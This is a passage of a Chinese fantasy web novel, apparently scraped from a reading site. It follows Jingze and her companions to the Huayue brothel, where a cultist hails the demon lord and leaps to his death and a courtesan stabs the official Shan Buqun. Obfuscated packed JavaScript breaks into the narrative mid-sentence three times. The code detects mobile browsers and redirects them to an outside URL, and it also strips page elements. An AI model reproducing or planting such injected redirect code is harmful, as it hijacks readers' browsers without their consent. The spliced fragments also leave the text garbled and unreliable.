翌日,景泽自床榻上醒来时,山洞里已经没有清隽的身影了。 晨光透过山洞口斜斜地照进来,给那些嶙峋的岩石镀上一层金色。夜明珠不知何时已经被收走了,火堆也已经熄灭,只剩下几缕青烟袅袅升起。 景泽在枕头下发现了一张纸条,一看就是清隽留给她的。 上面写着一行工整小字,字迹清峻瘦硬,风骨凛然,是长弓的使用方法,以及一段拗口的咒决。 景泽跳下床榻,捡起那把长弓,在心里默念了几句咒决。 说来也怪,那些艰涩拗口的词句从舌尖滚过时,竟然毫不费力。 只见咒决落下的瞬间,那长弓立马化作一道流光,融入掌心消失不见。待她又默念了几句咒决,那流光又从掌心涌出,重新凝成长弓的模样,凭空出现在她手中。 景泽高兴得差点跳起来,忍不住拉了一下弓弦。 一道火红的透明箭矢自弦上凭空生出,只听“砰”一声巨响,将洞壁击穿了一个大洞。碎石哗啦啦地落了一地,尘土飞扬,惊起洞外一群飞鸟。 景泽心头一喜,清隽这是用自己的灵力或者别的什么手段,让这把长弓认她做了主人! 景泽在山野里七扭八拐了好半天,才终于走出杀仙谷。 蔡乔一见到她,立马迎了上来,一把抓住她的胳膊,上上下下好一通检查。 “呜呜呜,吓死我了!我还以为等不到你了……” 她的声音带着哭腔,说着说着忽然一顿,疑惑地看着景泽身上的衣服。 “对了,你怎么换了身衣服?你进谷的时候穿的好像不是这件啊?” 景泽把她在杀仙谷的遭遇简明扼要地告诉了蔡乔,当然,省略了脱衣服疗伤那段。 蔡乔听完,一脸庆幸:“幸好你遇到了清隽,不然后果不堪设想,那个杀仙谷,光是听着名字就觉得瘆人,你能全须全尾地出来……” 景泽打断了她:“别担心啦,我没事,我们出发去跟江染他们会合吧,他们怕是等急了。” 40. 花月楼(一) 华灯初上,整座清州城最繁华的地段渐渐苏醒过来。 花月楼前悬挂着数十盏宫灯,暖光透过雕花窗棂,将里面衣香鬓影的身影映成柔和的剪影。丝竹管弦之声从楼中袅袅传出,与觥筹交错之声、言笑晏晏之声交织在一起,悠悠荡荡,漫溢四方。 楼前站着十几位少女,个个生得明眸皓齿,身段窈窕。她们身上穿着各色绫罗绸缎,或红或紫,或碧或黄,在灯光下显得格外鲜艳夺目。 有的斜倚门框,手中执着一柄团扇,似笑非笑地望着来往行人;有的三五成群,低声说笑,时不时向路过的年轻公子抛去一个眼波;更有大胆些的,直接上前拉扯,娇声软语地邀人入内。 “哎!这位官人,别走呀!” 一个身着石榴红裙的妖艳美少女眼尖,瞧见一位白衣书生从面前经过,忙伸手去拉他的衣袖,声音娇得能滴出水来: “奴家最近新学了一支异域舞蹈,官人可愿意驻足赏玩片刻?保管合了官人的心意。” 那书生约莫二十出头,眉目清秀,一身青布长衫洗得发白,肩上背着一个旧书箱,骤然被少女拦住,先是微微一怔,随即面露窘色,连连摆手:“不、不必了,小生尚有路程要赶……” “哎!急什么!” 妖艳美少女指尖非但不松,反倒顺着袖口细细摩挲,眉眼含烟浅笑,软声嗔道:“天色昏沉,路途难行,不如随奴家入内小酌一盏清茶歇歇脚,奴家自有法子,叫官人来了便舍不得抽身离去。” 书生面颊涨得通红,急着抽手,却被她柔若无骨的手牢牢攥住。 周围几个姐妹见状,纷纷掩嘴偷笑看热闹。 “姑娘自重!” 书生忍无可忍,猛地扬臂挥袖,挣脱了少女的缠来的手,踉跄退后两步,面色铁青厉声呵斥:“你们都是四肢健全的人,干什么不好,偏要沦落风尘做这营生!也不怕辱没了祖宗!” 这一通呵斥声不小,周围的行人纷纷侧目。 那妖艳美少女却并不恼怒,反而双手环抱于胸前,歪着头饶有兴致地打量这暴怒的书生。 待那书生骂完,气冲冲地走远了,妖艳美少女才“噗嗤”一声笑了出来,回头对姐妹们道:“这世道,这般守礼端方的郎君可不多了,姐妹们刚刚没把握好机会呀?” 另一个穿碧色衫子的少女接口笑道:“就是就是,天底下哪有不好美色的男儿?能扛住姐姐这般容色撩拨,此人定力委实非同寻常,白白放走了,委实可惜。” 妖艳美少女忽然高傲地扬起下巴,满眼不屑:“可惜什么?哪怕我真能成功将他勾引到手,就他那寒酸样儿,想必囊中空空如也,能给我赎身么?” 此言一出,众少女集体哑口无言。 她们这花月楼,当属清州城最繁华的消费场所,能在这里立足的姑娘,哪个不是千挑万选出来的?身材、样貌、才艺,一样不能缺!而被卖到这里的那一天起,她们就知道,想被赎出去,赎身之人须得金钱、权势、地位,一样也不能少! 可这世上,哪个达官贵人,会愿意花重金,赎一个千人骑万人压的花魁回去? 所以这里的花魁们,从不敢奢望什么狗屁爱情,唯有自由,才是她们毕生所求。 可自由二字,说起来轻巧,想要得到却难如登天。 沉默在少女们之间蔓延开来,方才那点欢声笑语仿佛被夜风吹散了。 忽然,一道声音打破了这扎心的沉默: “妹妹你快看!” 一个眼尖的姑娘忽然瞪大了眼睛,伸手朝长街尽头一指,满脸都是抑制不住的兴奋。 “能给你赎身的人来了!” 众少女忙抬眼瞧去。 长街尽头,灯火阑珊处,一辆朱漆鎏金的豪华马车正缓缓朝她们驶来。 须臾,随着车夫长吁一声,车轮稳稳停在了她们面前。 车帘掀开,一个男人躬身从里面出来。 他先是在车辕上站定,居高临下地扫了一眼面前这群花枝招展的少女,这才在车夫的搀扶下,不紧不慢地走下马车。 灯火映照下,这男人长得实在不算好看,一张长方脸上,最碍眼的是那一双眼睛,一只单眼皮,一只双眼皮,怎么看怎么别扭,下巴上还有一道寸许长的疤痕,像是被什么利器划伤后留下的,虽已愈合,却像一条蜈蚣趴在那里,平添了几分狰狞。 若不是穿了一身织金锦袍,腰间系着羊脂白玉带,手上戴着祖母绿戒指,放在人堆儿里,脑子有病才会多看他一眼。 由此可见,美少女们都是被他那身行头吸引的。 “单大人!” 那妖艳美少女第一个扑了上去,只见她一把抓住单不群的手,使劲挤开其他妹子,整个人几乎要贴到他身上去,满脸娇嗔道: “您要提前来,怎么也不说提前知会一声?奴家该好好打扮一番的!您瞧,奴家的胭脂都花了!” 说着,她还特意仰起脸,把那张精致的小脸凑到单不群跟前,让他看自己“花了”的胭脂。 单不群一见到女人,血影楼带来的烦闷立马烟消云散。 只见他伸手将妖艳美少女揽进怀里,动作熟练地挑起她的下巴,低头在她唇上亲了一下,嗓音里透着几分慵懒的宠溺: “娇娇长得如此倾国倾城,哪里还需要胭脂这种俗物。” 娇娇登时面颊泛红,佯装羞怯地把脸埋在他胸前,纤纤玉指轻轻捶了下他心口,软声道:“就会捡好听的哄人,每次见面都是这套说辞,也不换个新鲜词儿。” “好词儿得留给好时候用。” 单不群朗声大笑,胳膊顺势收紧,把人牢牢搂在怀中。 管事的早就瞧见了门口的动静,连忙迎上来,弯着腰,满脸堆笑地将这尊大佛往里面请,随后一路领着单不群上楼,进了花月楼最里头、也是最贵的那间暖阁。 管事的把单不群安排妥当,又吩咐丫鬟们上最好的茶、最好的点心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云逍边享受着对方的马屁,边向坐在身旁的景泽递过去一个得意的眼神,那意思再明显不过:看见没?我早就说过我很有个人魅力了吧? 景泽坐在他右手边,早已习惯了云逍的孔雀开屏,端起茶杯默默喝了一口茶,连眼皮都没抬一下。 云逍碰了冷钉子,悻悻转头望向挨着景泽落座的江染,哪知江染正垂着脑袋,指尖来回捻弄一枚铜钱,心思全在手里小钱上,压根没空搭理他。 唯有末位的蔡乔抬眼淡淡瞥了他一瞬,随即又收回目光,不多言语。 “……” 接连三处碰壁,云逍没了显摆的兴致,只好耐着性子继续听管事滔滔不绝的恭维。 待管事把奉承话说尽,话锋忽然一转,脸上堆起小心翼翼的笑容,轻声试探:“云公子,冒昧问一句,您此番来花月楼玩乐,府上老爷可知晓这事?” 这句话问得很有技巧,管事的意思很明白:您来这种地方,您爹知道吗?万一不知道,到时候账单送上门去,云老爷一怒之下不认账,我找谁要钱去? 云逍当然听出了他的弦外之音,他既然来了,就没打算退缩。 只见他硬着头皮,腰杆一挺,豁出去道:“知道!当然知道!今晚的消费,只管记我爹头上便是!” 41. 花月楼(二) “知道!当然知道!今晚的消费,只管记我爹头上便是!” 说完这话,云逍心里其实也在打鼓。 他爹要是知道他来花月楼,还把他的名字挂在账上,不打断他的腿才怪,但眼下也顾不了那么多了。 听得他这么说,管事的立马喜笑颜开,云氏家财万贯,最不缺的就是钱,这云公子落到了他手里,他必须要狠狠宰他一番! 管事的也不管云逍愿不愿意,立刻转身吩咐下去,将花月楼里但凡有那么一两分姿色的花魁,统统叫了过来。 不到半盏茶的功夫,二十多位花魁鱼贯而入,在云逍面前站成一排,环肥燕瘦,各具风姿。有的端庄典雅,有的妖艳妩媚,有的清纯可人,有的风情万种,简直像一幅活色生香的美人图。 管事的搓着手,满脸期待地看着云逍,等着他挑选。 云逍“啪”地一声合上折扇,站起身来,挨个走过那些花魁,将她们每个人细细端详了一遍。 二十多个花魁被他看得心里发毛,不知道这位云公子到底打的什么主意。 终于,云逍看完了最后一个人,转过身来,对着管事的摇了摇头,满脸遗憾道:“你们花月楼就这?没一个入得了我的眼!” 管事的愣住了。 这些个花魁,不论是身材还是样貌,哪个走出去不是天仙般的存在?她们当中随便挑一个,放到别的青楼,那都是头牌中的头牌。 管事的万没料到云逍居然这么挑剔,一时之间竟不知该如何接话。 “这……” 管事的面露难色,小心翼翼地问道,“云公子不妨说说,到底喜欢什么样的?我这就去给您找,包您满意!” 云逍:“我喜欢长相妖艳的,会撒娇哄人的,还得有几分小性子,不能太温顺,太温顺的没意思。” 管事一愣,他们花月楼的姑娘,哪一个不是这样的? 云逍接着说:“我方才路过门口,见门口有个姑娘就不错,穿石榴红裙子的,长得标致,说话也好听,不知,她现在在哪里?” 事情要从一个时辰前说起。 景泽他们一路跟踪单不群的马车,从城主府跟到了花月楼,彼时他们远远瞧见单不群搂着那个叫娇娇的妖艳美少女走了进去,这才跟了进来。 他们的目的很简单,找到单不群,直接杀了他。 但要在这偌大的花月楼里找到单不群,硬闯是不行的,最稳妥的法子,就是通过那个叫娇娇的姑娘顺藤摸瓜。 所以云逍才上演了这么一出“挑剔贵公子”的戏码,为的就是把娇娇的下落问出来。 可管事的并不知道他们的真实意图,按照云逍方才的描述,长相妖艳、会撒娇哄人,面前这一排花魁,没有哪个不符合。 管事的一头雾水,满头都是问号:“……门口哪个?” 蔡乔在旁边等得不耐烦了,忍不住开口提醒道:“就是那个什么娇娇!” 管事的立马反应过来他们口中的人是谁了。 他脸上的笑容僵了一瞬,随即恢复了常态,深感抱歉地摇了摇头: “实在不好意思,那位姑娘今晚有人包下了,云公子还是看看其他人吧?我们这儿还有很多好姑娘,比如这位……” 他指着站在最前面的一个花魁:“这位是牡丹姑娘,琴棋书画样样精通,尤其是那手琵琶,弹起来能让天上的凤凰都落下来……” 云逍根本不听他介绍,直接打断道:“我不要!我就要娇娇!她现在陪谁?我愿意出五倍的价钱!” 他这话说得斩钉截铁,没有半点商量的余地。 管事的脸上露出了非常为难的神色,单不群他可不敢得罪啊! 但同时,他也不敢得罪云氏,云氏在清州城的势力根深蒂固,虽然云逍只是个没有官职的公子哥,可他背后站着的是整个云氏家族,万一云老爷护犊子,一怒之下要找花月楼的麻烦,他一个小小的管事可担待不起。 场面一度僵持不下,大厅里的其他客人已经注意到了这边的动静,纷纷投来好奇的目光。 管事的额头渗出了一层细汗,心里把云逍的祖宗十八代都问候了一遍,脸上却还得挂着笑。 就在这尴尬的时刻,景泽忽然轻笑一声,打破了这诡异的气氛。 她端起茶杯,不紧不慢地说道:“既然这样,不妨先给我们上些好酒好菜吧?一路赶来,肚子都饿了。” 这话说得恰到好处,既给了管事的一个台阶下,又没有放弃今晚的目标。 管事如蒙大赦,立刻两眼放光,连声附和道:“对对对!先吃饭!先吃饭!云公子好不容易来一趟,怎么能饿着肚子呢?我这就去安排,保管让几位满意!” 说完,他一溜烟地跑了。 不一会儿,他们面前的桌子上就摆满了各种珍馐美酒。 八道热菜、四道凉碟、两道汤品,外加一坛香醇羊羔酒,摆了满满一桌。菜色精致得很,光是那道红烧鲍鱼,就用了不下十种配料,香味扑鼻而来,勾得人口水直下。 江染提起筷子,夹了一块桂花糕送进嘴里,一边嚼一边感叹道:“早知道云兄的脸面在清州城这么好使,之前我们何不直接大摇大摆进入城主府?还用得着那么麻烦?” 蔡乔默默夹了一筷子脆皮鸭,赞同道:“就是,云兄不够义气啊!亏我们还把他当朋友,他倒好,藏着掖着的。” 云逍“啪”地打开折扇,故作潇洒地扇了两下,辩解道:“哪里是我不够义气?我是不想让家人小瞧了我!你们不知道,当初我离家出走时曾放过狠话,扬言不靠云氏的名头活着,要靠自己的本事闯出一片天来。” 景泽哼笑一声,淡淡道:“这有什么?谁还没有年少轻狂的时候?你爹是你亲爹,你靠他的名头,这有什么丢人的?” 云逍满脸愁苦地给自己斟了一杯酒,仰头一饮而尽,摇头叹道:“你们有所不知,这事儿要是传到我爹耳朵里了,他肯定会笑话我,还会当着全家人的面拿这事儿取笑我……罢了罢了,笑话就笑话吧,为了阿泽妹妹,我什么都愿意。” 云逍的告白来得猝不及防,景泽刚把一块清蒸鲈鱼送进嘴里,听到这话,手一抖,鱼刺差点卡住喉咙。 她猛地咳了好几声,才道:“……你的恩情我记住了,日后一定会好好还你。” 云逍差点跳起来:“阿泽妹妹这是干什么!我们一家人不说两家话!什么还不还的,多见外啊!” 江染恨死云逍这种无耻之徒了!什么叫“一家人不说两家话”?景泽什么时候跟他成了一家人? 他当即反驳道:“景泽怎么就成你家的了?她分明是我家的!真是臭不要脸!” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584127|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逍不急不恼,慢悠悠地摇着扇子,脸上挂着一副“我跟你没什么好争的”的表情,笃定道:“迟早是我家的,不信你走着瞧!” 江染气得脸都绿了:“……” 瞧瞧云逍这坚定的样子,要不是他了解景泽的性子,知道她根本不会看上云逍这种人,他这会儿估计真被唬住了。 景泽懒得搭理这两个活宝,自顾自地吃菜。 蔡乔倒是看热闹不嫌事大,端起酒杯慢悠悠地喝了一口,脸上挂着镇定的笑容。 花月楼的内部,呈环形结构,内围是一块圆形的舞台,铺着大红色的地毯,花魁们就在这里唱歌跳舞,展示才艺。 外围则是客人看节目、享用美食的座位,分为上下三层,一楼的座位最便宜,二楼次之,三楼最贵,是给那些不差钱的达官贵人们准备的。 此刻,景泽他们落座的位置,正处于一楼舞台斜对面。 这个位置不好不坏,看舞台没有遮挡,但也算不上最佳视角,不过他们本来就不是来看表演的,坐哪里都无所谓。 舞台上,几位花魁蒙着面纱,光着脚丫,随着琵琶乐声翩翩起舞。每一个转身、每一个回眸都恰到好处,把周遭看客勾得目不转睛,连连称赞。 景泽看着她们跳舞,不得不感叹,有钱人真会享受! 正当满堂靡音、一派升平之际,一道苍老嘶哑、裹挟着无尽狂热的嘶吼,骤然从三楼高空轰然炸响,冲破满室喧嚣! “底下这群被仙门蒙骗的蠢货!全都给我停下!别再捧着那伪善仙盟的臭脚!所谓六大宗门满肚龌龊,哪里配受尔等跪拜敬重?!唯有魔君逸归尘才是世间真神!哪怕肉身陨落身死,他的魔道神魂万古不灭、永世长存! “魔君逸归尘万岁!!魔君逸归亘古不朽!!我生生世世、魂飞魄散也要做魔君麾下信徒!尔等凡夫俗子若不醒悟,就统统给我伟大的魔君陪葬吧!!” 声声嘶吼凄厉狂热,字字震彻楼宇,觥筹交错的客人停下了手中酒杯,低声说笑的姑娘闭上了嘴,就连舞台上的琵琶声也戛然而止。 所有人不约而同地抬起头,朝那声音的来源地望去。 只见三楼围栏前,站着一个身着破烂衣衫、头发凌乱的老头。他脸上布满了皱纹,眼窝深陷,可那双瞳孔,却亮得惊人,似燃着两簇不灭烈火,盛满偏执、狂热与疯癫。 他一边高呼“魔君逸归尘万岁”,一边往楼下挥洒纸张,无数白纸自三楼高空洋洋洒洒坠落,宛如漫天飞雪,落遍楼中每一处席位。 近处宾客抬手接住一纸,低头细看,纸上字迹密密麻麻,字字句句皆是控诉仙盟六大宗门虚伪割据、祸乱天下,称颂灭世魔君逸归尘功德无量,号召天下苍生挣脱仙盟桎梏,追随魔尊遗志,重定乾坤。 在座诸位,谁人不知,他口中的逸归尘,正是百年前拉着全天下陪葬的灭世魔君! 百年前,魔君逸归尘横空出世,以一己之力掀起滔天血浪!他带领魔道大军席卷天下,所到之处寸草不生,屠城灭门如同儿戏,据说死在他手上的人,不下百万之众。 那一战,六大宗门损失惨重,高手死伤无数,至今仍未完全恢复元气。 难道这魔君逸归尘想卷土重来? 想到兄长正是死于魔君逸归尘之手,只听“啪”地一声,景泽捏碎了手中白玉茶盏。 42. 花月楼(三) 老头儿字字疯癫,句句逆世,不出片刻,便将花月楼的满腔怒火尽数引燃。 场面登时大乱,尖叫声、咒骂声、桌椅翻倒声、杯盘碎裂声交织在一起,恰似一锅滚粥翻涌,喧嚣震耳。 客人们纷纷起身,有的往门口挤,有的往桌下钻,还有几个胆大的,抄起手边的酒壶、碗碟就朝三楼砸过去。 “闭嘴!你这个老疯子!居然敢如此明目张胆地支持逸归尘!活腻了么!看老子不好好教训你!” 一个满脸横肉的壮汉抄起板凳,三步并作两步冲上楼梯。 “给我杀了这个老疯子!谁把他放进来的!快来人啊!没人管了是么!” 另一个锦衣华服的中年男人气得浑身发抖,手指着三楼怒骂道。 “这人疯了!彻底疯了!快报官!报官啊!” 几个护院提着棍棒冲上楼去,但他们刚跑到二楼,就被那老头撒下的白色粉末呛得连连后退,眼泪鼻涕一起流下来,连眼睛都睁不开。 只见那老头儿站在围栏边,衣衫在夜风中猎猎作响,手中高举一沓手稿,神情越来越扭曲狰狞,癫狂道: “魔君逸归尘的精神永世不灭!魔君逸归尘永在!你们尽管朝我来!哪怕我化作孤魂野鬼,也会誓死效忠魔君逸归尘!生生世世追随他!让你们、让这天下全都给我魔君殉葬!哈哈哈哈哈!” 然后,在所有人的注视下,他闭上了眼睛,身体向后一仰,从三楼围栏边翻了出去。 一切都发生得太快了,众人只看见一道灰扑扑的身影在空中划过一道弧线,紧接着,“砰!”一声沉闷的巨响,他已经摔死了。 时间仿佛在这一刻静止了,所有人都愣在原地,呆呆地看着那个摔在舞台中央的身影。 鲜血从他的身下慢慢洇开,染红了大片猩红色的地毯。 老头的身体扭曲成一个不可思议的姿势,可那苍老干裂的唇角,却凝着一抹诡谲的笑意,至死不散。 几名柔弱花魁吓得双目紧闭,以袖掩面,侧身不敢直视。便是那些常年行走江湖、见惯生死风波的楼中护院,此刻亦是面色发白,手足无措,全然没了平日的干练沉稳。 花月楼管事面色铁青,唇瓣连连颤抖,过了好半晌,大喊道:“快、快把人抬出去!都愣着干什么!别看了!来人啊!” 几个护院这才回过神来,七手八脚地跑上前,有的抬胳膊,有的抬腿,将那具还在渗血的尸体搬了起来。 鲜血顺着尸体的衣角滴落,在舞台和走廊上留下一串暗红色的痕迹,从大厅中央一直延伸到门外。 景泽缓缓走到老头刚刚摔死的地方,蹲下身来。 地上的血迹,在烛火的映照下泛着暗红色的光泽,几张散落的纸张被鲜血浸湿,边缘微微卷起。 她弯腰捡起一份还算完整的纸张,上面的字迹密密麻麻,歪歪扭扭,内容无非是贬低仙盟,抨击六大宗门,夸耀魔君逸归尘的伟大,号召众人起来反抗。 景泽看得很不耐烦,眉头越皱越紧,正打算将纸张揉成一团撕烂,忽地瞥见纸张最下方,有三个字因为被血浸染而显得格外刺目。 ——清幽阁。 景泽心头猛地一颤,“清幽阁”三个字上面,还写着一行小字:“凡我同道,皆可往清幽阁相聚,共商大计。” 景泽盯着这三个字看了很久,作为《裂陆杂报》的头号粉丝,她对天下事的了解虽然算不上多么全面,但也不算少。大到各城之间的纷争,小到某个偏远小镇的奇闻异事,她多少都听过一些,可这个所谓的“清幽阁”,她闻所未闻。 《裂陆杂报》上从来没有提过这个地方,江湖上也从没听说过这样一个组织。 这说明什么? 要么是这清幽阁太小、太隐秘,还没有进入《裂陆杂报》的视野;要么就是它太大、太危险,连《裂陆杂报》都不敢轻易报道。 以景泽的直觉,她更倾向于后者。 虽不知道这清幽阁到底是什么地方,但有一件事是确定无疑的,这清幽阁是一个同魔君逸归尘关系密切的地下组织,而且带有明确的反仙盟性质。 如果顺着清幽阁的线索找下去,是不是就可以得到更多逸归尘的下落?是不是就能离兄长的死亡真相更进一步? 景泽的手指微微发颤,纸张在她手中发出细微的窸窣声,随后,她将那张纸小心翼翼地折好,塞进了袖中。 就在这时,江染朝她走过来,压低声音提醒道:“现在场面大乱,正是抓单不群的好机会。” 景泽回过神来,忙回头朝蔡乔、云逍他们看去,他们也正看向她,眼神颇为坚定。 是时候了。 花月楼发生了这样的事,一时间人心惶惶。 客人们三五成群地聚在一起,讨论着方才那老头的身份和来历。 有人说是魔道的余孽,有人说是疯了的老书生,还有人说是对家青楼派来捣乱的,众说纷纭,莫衷一是。 管事的为了安抚大家,派人加强了楼里楼外的安保,又亲自登台,扯着嗓子宣布:“今天晚上花月楼全场酒水免费,同时增加两场花魁献舞,由头牌牡丹姑娘亲自领舞,算是给各位贵客压惊。” 免费的东西谁不爱呢?更何况是花月楼这种地方的好酒好菜,客人们听说酒水免费,登时把方才那点不快抛到了九霄云外,纷纷坐回原位,扯着嗓子喊小二上酒。 随着丝竹管弦之声重新奏起,花魁们鱼贯而入,踏着轻盈的舞步登上舞台。 琵琶声、古筝声、笛声交织在一起,奏出一曲欢快明媚的《春光好》。 牡丹姑娘一身水红轻纱罗衣,同色薄纱覆面,赤足踏于锦台之上,旋身若风,腰肢纤柔柔韧,恰似春风拂柳,姿态万般旖旎,把台下众人看得神魂颠倒,喝彩叫好之声此起彼伏,不绝于耳。 花月楼内,又恢复了方才那一派歌舞升平、喜气洋洋的景象。 管事的安抚完众宾客,终于得了空,回到柜台后面坐下,端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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满目红尘烟火,人来人往,偏偏不见云逍四人半分身影。 管事的在门口站了好一会儿,叹了口气,想来是云小公子年少未经风浪,适才目睹坠楼血案,心生惊惧,早已携友先行离去了。 · 纱帐之内,烛影摇红。 单不群伏在娇娇身上,粗重的喘息声混着娇娇刻意压低的娇吟,在静谧暖阁之中织就一片缱绻风月。 正当情浓之时,楼下骤然传来阵阵喧嚣骚动。 刚开始只是几声叫喊,单不群没有在意,继续埋头苦干。 但很快,叫喊声越来越大,越来越密集,中间还夹杂着桌椅翻倒和杯盘碎裂的声音,一浪高过一浪,像潮水一样涌上来。 单不群的动作一顿,眉头皱了起来。 紧接着,他听见有人在喊“疯子”“杀人”“跳楼”之类的字眼,神经瞬间绷紧了。 “怎么回事?” 他撑起身子,撩开床上的纱帐,朝外面张望,脸上的不耐烦毫不掩饰。 “我说你们这花月楼怎么回事?大晚上的吵什么吵?信不信老子直接让你们这花月楼关门!” 见他大发雷霆,娇娇连忙从床上坐起来,披好衣衫,柔声哄道:“大人赎罪!平日里花月楼不这样的,奴家也不知道今晚怎么就闹起来了。” 43. 花月楼(四) 娇娇见单不群脸色还是很难看,便赤着脚下床,倒了一杯热茶,跪在床边,双手捧着,温温柔柔地递到他面前: “大人消消气,您听,楼下似乎没有闹了呢。” 两人凝神细听,楼下的喧嚣声确实小了一些,但还能隐约听见有人在争吵,有人在哭喊,不过比起方才那阵动静,已经好多了。 单不群就着娇娇递过来的茶杯,浅浅喝了一口,却没有完全放下心来。 他生性诡谲多疑,遇事最喜暗自揣测,今夜花月楼无端大乱,处处透着蹊跷,绝不似寻常市井斗殴、宾客滋事。 万一是血影楼的人呢?万一是血影楼楼主派来杀他的人在闹事呢? 单不群越想越不安,将茶杯往娇娇手里一塞,吩咐道:“你替我出去看看,外面究竟发生了什么事!快去!” 娇娇不敢违抗他的命令,匆匆忙忙穿好衣服,又对着铜镜理了理鬓发,确认自己看起来还算体面,这才打开房门奔了出去。 房门在她身后关上,房间里安静下来。 单不群坐在床边,浑身紧绷,手不自觉地摸向枕下,那里藏着一把匕首,是他从府里带出来的,削铁如泥,必要时候可以派上用场。 时间一点一点地过去,不到半盏茶的功夫,房门被推开了,娇娇回来了。 比起出去之前,她的脸色有些发白,模样慌张,看向单不群的时候眼神非常不自然。 单不群见她这副模样,心里更烦躁了,一挥手,不耐烦地问:“外面发生什么了?” 娇娇走进来的时候,两腿都在发抖,最后,她像是终于支撑不住了,“扑通”一声跪倒在了单不群的膝前,伏首拜道:“回大人!花月楼刚刚……有人跳楼了!” “跳楼?” 单不群一愣,紧绷的神经瞬间松弛了大半。 原以为是血影楼派了杀手来杀他,折腾半天,原来只是个跳楼的。 他长长地吐出一口浊气,脸上露出一种既庆幸又烦躁的表情:“不就跳楼死个人而已!至于这么紧张么!” 他伸手在娇娇脑袋上拍了一下,“瞧你这出息!真是没用!把老子吓得够呛,还以为是什么大事!” 这一惊一乍下来,单不群早已没了那些下半身的心思,他现在只想好好休息一下,把刚才被吓出来的那身冷汗收回去。 “你别跪着了,” “过来给我按按头,我这几天头疼死了!就没睡过一个安稳觉!” 娇娇大脑一片空白,原地愣了一瞬,这才反应过来单不群说了什么,随后小心翼翼扶着单不群躺下,跪在床边,拇指抵住单不群两边太阳穴,微微用力,缓缓地、一圈一圈地按了起来。 “力道合适么?” 她轻声问,几缕青丝自然地垂落在饱满的颊边,把她这张脸衬托得更加妩媚动人。 “再重一点。”单不群闭着眼睛,舒服得叹了口气。 “是,大人。”娇娇加大了手上的力道,拇指在他太阳穴上缓缓打转。 单不群紧绷的眉眼渐渐舒展开来,呼吸也变得平稳了,房间里很安静,只有烛火偶尔发出的“噼啪”声,和窗外隐约传来的丝竹管弦之声。 半晌后,单不群忽然开口,声音里带着几分慵懒的赞赏:“你这手艺真是不错,我们府的大夫都没你按得好,是专门学过么?” 娇娇温柔的声音飘落在他头顶:“奴家哪有机会专门学这个,都是看别人看会的……” 单不群眉头微微蹙了一下,似乎对她方才说的话感到些许遗憾。 他叹了口气,感慨万分:“真是造化弄人啊娇娇,倘若当初你未曾被歹人拐骗、沦落花月楼这风尘泥潭,以你的心性本事,无论落脚什么行当谋生,将来必定前程斐然,大有一番作为。” 娇娇手上的力道非常平稳,一下一下地按着,节奏没有丝毫改变,只是她的声音相较于方才,更冷了一些。 单不群心绪沉陷在对她坎坷身世的惋惜里,竟半点没有捕捉到这细微的反常。 娇娇眼睛一眨不眨地锁着单不群的喉咙,嘴角勾出一抹似笑非笑的弧度,“大人说笑了,乱世飘零,身为卑弱女子,任凭拼尽浑身力气挣扎,又能闯出什么大好前程?” 她的手指从单不群的太阳穴缓缓下移,划过他的耳侧,沿着脖颈的线条往下,像是在按摩,又像是在丈量什么。 “大人倘若当真怜惜奴家,便伸手拉奴家离开这花月囚笼,往后奴家终生侍奉在您身侧,朝夕相伴、鞍前马后,可好?” 她的意思再明显不过,她这是要单不群给她赎身。 单不群下意识略过她暗藏心思的后半句,正色劝慰:“女子又如何?古来女子亦可撑起半边天地,切莫妄自菲薄,依我看你的资质……唔!” 单不群的眼睛猛地睁开,瞳孔在一瞬间紧缩如针。 他的视线牢牢锁住眼前的女子,有那么一瞬间,他觉得眼前的女子是如此陌生,如此可怕,仿佛他从未真正认识过她。 那张妖艳魅惑的脸上,再也找不到半分方才的柔弱温顺,取而代之的,是一种近乎残忍的冷漠与狠戾。 单不群低下头,看向自己腹部,殷红鲜血正从伤口涌出,顺着匕首刃口往下淌,染红了大片衣襟,又渗透到身下的床单上。 “谢谢大人的开导,奴家没有再妄自菲薄了,您看,奴家在捅你刀子这一事上,是不是很成功?” 话音落下,娇娇手上再次加力,匕首往更深处推进了一寸。 “呃啊……!”单不群发出一声凄厉的惨叫,口中瞬间喷出一大口鲜血,溅在娇娇的脸上和衣襟上。 他双目死死盯着眼前的女人,眼球布满了血丝,每一次呼吸都伴随着血沫从嘴角溢出来。 “臭婊子!你……你……你竟然……竟然敢……杀老子……老子……” 他想伸手去抓娇娇,但手臂已经不听使唤了,无力地在空中挥了挥,最后软绵绵地垂落下来,搭在床沿上。 娇娇看着他眼中的光芒一点一点地黯淡下去,心中那点隐秘的兴奋感越来越强烈。 她这一辈子,从记事起就在被人摆布,被歹人卖进花月楼,被管事的当摇钱树,被各种各样的男人当作玩物。 她从来没有自己做过选择,从来没有真正拥有过什么,她以为自己这辈子就这样了,以为自己最终会和那些老去的花魁一样,在这烟花之地蹉跎一生,最后孤零零地死去。 可是今晚,有人给了她一个选择。 就在娇娇按照单不群的吩咐,推开房门出去查看外面的情况时,忽然被一只手拦住了去路。 “娇娇姑娘,留步。” 娇娇抬起头,看见一个年轻公子哥正站在她面前。 这人生得面如冠玉,眉目俊朗,一身月白色的锦袍在灯火下泛着柔和的光泽。 娇娇在花月楼待了这么多年,什么样的男人没见过?她太清楚了,这人不简单。 于是她立刻换上了那副最甜蜜、最无害的笑容,微微侧头,眼波流转,声音甜得能腻死人:“这位公子,您找奴家有什么事呀?是要点奴家的牌子么?真是不巧呢,奴家今晚已经有客人了,要不您看看别的姑娘?” 